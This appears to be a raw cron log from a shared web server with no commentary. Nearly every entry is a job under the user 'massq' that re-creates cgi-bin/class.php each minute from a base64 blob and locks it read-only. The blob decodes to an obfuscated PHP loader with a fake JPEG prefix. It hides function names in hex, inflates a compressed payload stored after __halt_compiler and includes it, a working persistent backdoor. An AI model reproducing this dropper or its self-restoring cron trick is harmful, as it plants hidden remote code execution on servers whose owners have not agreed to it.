Nov 10 18:42:01 server CROND[27404]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:43:01 server CROND[28244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:44:01 server CROND[29110]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:45:01 server CROND[30002]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:45:01 server CROND[30003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:45:01 server CROND[30004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:46:01 server CROND[30863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:47:01 server CROND[31874]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:48:01 server CROND[32726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:49:01 server CROND[1162]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:50:01 server CROND[2059]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 18:50:01 server CROND[2061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 18:50:01 server CROND[2064]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:50:01 server CROND[2062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:50:01 server CROND[2063]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 18:51:01 server CROND[2952]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:52:01 server CROND[3702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:53:01 server CROND[4522]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:54:01 server CROND[5087]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:55:01 server CROND[5924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 18:55:01 server CROND[5926]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
